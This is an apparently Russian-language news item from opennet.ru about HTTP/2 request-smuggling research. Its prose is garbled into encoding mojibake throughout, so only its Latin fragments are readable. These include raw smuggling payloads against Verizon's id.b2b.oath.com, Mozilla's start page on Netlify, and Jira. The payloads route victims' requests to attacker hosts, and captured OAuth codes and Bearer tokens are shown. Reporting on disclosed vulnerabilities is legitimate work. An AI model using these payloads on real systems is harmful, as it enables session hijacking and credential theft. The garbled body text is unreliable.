Π΄Π°Π½Π½ΠΎΠ΅ ΡΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ Π΄ΠΎΠΏΡΡΠΊΠ°ΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΠ²Π΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding Π² HTTP/2, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅ΡΡΡ Π² Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΡΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP. ΠΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» Π±ΡΠΊΠ΅Π½Π΄ ΠΌΠΎΠΆΠ΅Ρ Π²ΠΎΡΠΏΡΠΈΠ½ΡΡΡ Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡΠΈΠΎΡΠΈΡΠ΅ΡΠ½ΡΠΌ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΠ°Π·Π±ΠΎΡ Π΄Π°Π½Π½ΡΡ ΠΏΠΎ ΡΠ°ΡΡΡΠΌ Π² ΡΠ΅ΠΆΠΈΠΌΠ΅ «chunked» Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π±Π»ΠΎΠΊΠΎΠ² ΡΠ°Π·Π½ΠΎΠ³ΠΎ ΡΠ°Π·ΠΌΠ΅ΡΠ° Π² ΡΠΎΡΠΌΠ°ΡΠ΅ «{ΡΠ°Π·ΠΌΠ΅Ρ}\r\n{Π±Π»ΠΎΠΊ}\r\n{ΡΠ°Π·ΠΌΠ΅Ρ}\r\n{Π±Π»ΠΎΠΊ}\r\n0», Π½Π΅ΡΠΌΠΎΡΡΡ Π½Π° ΠΈΠ·Π½Π°ΡΠ°Π»ΡΠ½ΠΎΠ΅ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΎΠ±ΡΠ΅ΠΌΡ ΡΠ°Π·ΠΌΠ΅ΡΡ.
ΠΠ°Π»ΠΈΡΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ Π±ΡΠ΅ΡΠΈ Π±ΡΠ»ΠΎ ΠΏΡΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΠΎΠ²Π°Π½ΠΎ Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Verizon. ΠΡΠΈ ΡΡΠΎΠΌ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° ΠΊΠ°ΡΠ°Π»Π°ΡΡ ΠΏΠΎΡΡΠ°Π»Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ ΠΈ ΡΠΈΡΡΠ΅ΠΌΡ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΠΎΠ½ΡΠ΅Π½ΡΠΎΠΌ, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠ°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π½Π° ΡΠ°ΠΊΠΈΡ ΡΠ°ΠΉΡΠ°Ρ ΠΊΠ°ΠΊ Huffington Post ΠΈ Engadget. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π·Π°ΠΏΡΠΎΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° ΠΏΠΎ HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
ΠΡΠΈΠ²ΠΎΠ΄ΠΈΠ» ΠΊ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠ΅ Π±ΡΠΊΠ΅Π½Π΄Ρ Π·Π°ΠΏΡΠΎΡΠ° HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
ΠΡΠΊΠ΅Π½Π΄, Π² ΡΠ²ΠΎΡ ΠΎΡΠ΅ΡΠ΅Π΄Ρ, ΠΈΠ³Π½ΠΎΡΠΈΡΠΎΠ²Π°Π» Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ «Content-Length» ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ» ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΠΏΠΎΡΠΎΠΊΠ΅ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ «Transfer-Encoding: chunked». ΠΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΠ΅ Π°ΡΠ°ΠΊΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»Π° ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²ΠΈΡΡ Π·Π°ΠΏΡΠΎΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ Π½Π° ΡΠ²ΠΎΠΉ ΡΠ°ΠΉΡ ΠΈ Π² ΡΠΎΠΌ ΡΠΈΡΠ»Π΅ ΠΏΠ΅ΡΠ΅Ρ Π²Π°ΡΠΈΡΡ Π·Π°ΠΏΡΠΎΡΡ, ΡΠ²ΡΠ·Π°Π½Π½ΡΠ΅ Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠ΅ΠΉ OAuth, ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ ΠΊΠΎΡΠΎΡΡΡ ΡΠ²Π΅ΡΠΈΠ»ΠΈΡΡ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ Referer, Π° ΡΠ°ΠΊΠΆΠ΅ ΡΠΈΠΌΡΠ»ΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅Π°Π½Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ ΠΈ ΠΈΠ½ΠΈΡΠΈΠΈΡΠΎΠ²Π°ΡΡ ΠΎΡΠΏΡΠ°Π²ΠΊΡ ΡΠΈΡΡΠ΅ΠΌΠΎΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΡΡΡΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ Π½Π° Ρ ΠΎΡΡ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
ΠΠ»Ρ Π°ΡΠ°ΠΊΠΈ Π½Π° ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ HTTP/2, Π½Π΅ Π΄ΠΎΠΏΡΡΠΊΠ°ΡΡΠΈΠ΅ ΡΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding, Π±ΡΠ» ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ Π΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅ΡΠΎΠ΄, ΡΠ²ΡΠ·Π°Π½Π½ΡΠΉ Ρ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΎΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» ΡΠ΅ΡΠ΅Π· Π΅Π³ΠΎ ΠΏΡΠΈΠΊΡΠ΅ΠΏΠ»Π΅Π½ΠΈΠ΅ ΠΊ Π΄ΡΡΠ³ΠΈΠΌ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠΌ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π° ΡΡΡΠΎΠΊΠΈ (ΠΏΡΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠΈ Π² HTTP/1.1 Π² ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΠΎΠ·Π΄Π°ΡΡΡΡ Π΄Π²Π° ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΡ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°).
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΎΠΊΠ°Π·Π°Π»ΠΈΡΡ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ Atlassian Jira ΠΈ Netlify CDN (ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π΄Π»Ρ ΠΎΡΠ΄Π°ΡΠΈ ΡΡΠ°ΡΡΠΎΠ²ΠΎΠΉ ΡΡΡΠ°Π½ΠΈΡΡ Mozilla Π² Firefox). Π ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ, Π·Π°ΠΏΡΠΎΡ HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΠ» ΠΊ ΠΎΡΠΏΡΠ°Π²ΠΊΠ΅ Π±ΡΠΊΠ΅Π½Π΄Ρ Π·Π°ΠΏΡΠΎΡΠ° HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
ΠΡΡ ΠΎΠ΄Π½ΠΈΠΌ Π²Π°ΡΠΈΠ°Π½ΡΠΎΠΌ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» ΡΡΠ°Π»ΠΎ ΠΏΡΠΈΠΊΡΠ΅ΠΏΠ»Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ ΠΊ ΠΈΠΌΠ΅Π½ΠΈ Π΄ΡΡΠ³ΠΎΠ³ΠΎ ΠΏΡΠ΅Π²Π΄ΠΎΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈΠ»ΠΈ ΠΊ ΡΡΡΠΎΠΊΠ΅ Ρ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠΌ Π·Π°ΠΏΡΠΎΡΠ°. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΡΠΈ ΠΎΠ±ΡΠ°ΡΠ΅Π½ΠΈΠΈ ΠΊ Atlassian Jira ΠΈΠΌΡ ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «foo: bar\r\ntransfer-encoding» ΡΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ΠΌ «chunked» ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΠ»ΠΎ ΠΊ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΡ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «foo: bar» ΠΈ «transfer-encoding: chunked», Π° ΡΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π² ΠΏΡΠ΅Π²Π΄ΠΎ-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ «:method» Π·Π½Π°ΡΠ΅Π½ΠΈΡ «GET / HTTP/1.1\r\nTransfer-encoding: chunked» ΡΡΠ°Π½ΡΠ»ΠΈΡΠΎΠ²Π°Π»ΠΎΡΡ Π² «GET / HTTP/1.1\r\ntransfer-encoding: chunked».
ΠΡΡΠ²ΠΈΠ²ΡΠΈΠΉ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Ρ ΡΠ°ΠΊΠΆΠ΅ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈΠ» ΡΠ΅Ρ
Π½ΠΈΠΊΡ ΡΡΠ½Π½Π΅Π»ΠΈΠ½Π³Π° Π·Π°ΠΏΡΠΎΡΠΎΠ² Π΄Π»Ρ ΡΠΎΠ²Π΅ΡΡΠ΅Π½ΠΈΡ Π°ΡΠ°ΠΊΠΈ Π½Π° ΡΡΠΎΠ½ΡΡΠ½Π΄Ρ, Π² ΠΊΠΎΡΠΎΡΡΡ
Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ IP-Π°Π΄ΡΠ΅ΡΠ° ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΡΡΡ ΠΎΡΠ΄Π΅Π»ΡΠ½ΠΎΠ΅ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Ρ Π±ΡΠΊΠ΅Π½Π΄ΠΎΠΌ ΠΈ ΡΡΠ°ΡΠΈΠΊ ΡΠ°Π·Π½ΡΡ
ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ Π½Π΅ ΡΠΌΠ΅ΡΠΈΠ²Π°Π΅ΡΡΡ. ΠΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Π°Ρ ΡΠ΅Ρ
Π½ΠΈΠΊΠ° Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π²ΠΊΠ»ΠΈΠ½ΠΈΠ²Π°ΡΡΡΡ Π² Π·Π°ΠΏΡΠΎΡΡ Π΄ΡΡΠ³ΠΈΡ
ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ, Π½ΠΎ Π΄Π°ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΠΎΡΡΠ°Π²ΠΈΡΡ ΠΎΠ±ΡΠΈΠΉ ΠΊΡΡ, Π²Π»ΠΈΡΡΡΠΈΠΉ Π½Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΡ Π΄ΡΡΠ³ΠΈΡ
Π·Π°ΠΏΡΠΎΡΠΎΠ², ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΡ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΡ
HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ
Π΄Π»Ρ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠΈ ΡΠ»ΡΠΆΠ΅Π±Π½ΡΡ
ΡΠ²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΎΡ ΡΡΠΎΠ½ΡΡΠ½Π΄Π° ΠΊ Π±ΡΠΊΠ΅Π½Π΄Ρ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΡΠΈ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° ΡΡΠΎΡΠΎΠ½Π΅ ΡΡΠΎΠ½ΡΡΠ½Π΄Π° Π² ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΡ
Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ
Π±ΡΠΊΠ΅Π½Π΄Ρ ΠΌΠΎΠ³ΡΡ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°ΡΡΡΡ ΡΠ²Π΅Π΄Π΅Π½ΠΈΡ ΠΎ ΡΠ΅ΠΊΡΡΠ΅ΠΌ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅). Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΈΠΌΠ΅ΡΠ° ΠΏΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΌΠ΅ΡΠΎΠ΄Π° Π½Π° ΠΏΡΠ°ΠΊΡΠΈΠΊΠ΅ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΡΡΠ° ΡΠ΄Π°Π»ΠΎΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ Π·Π° ΡΡΡΠ°Π½ΠΈΡΠ°ΠΌΠΈ Π² ΡΠ΅ΡΠ²ΠΈΡΠ΅ Bitbucket.
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru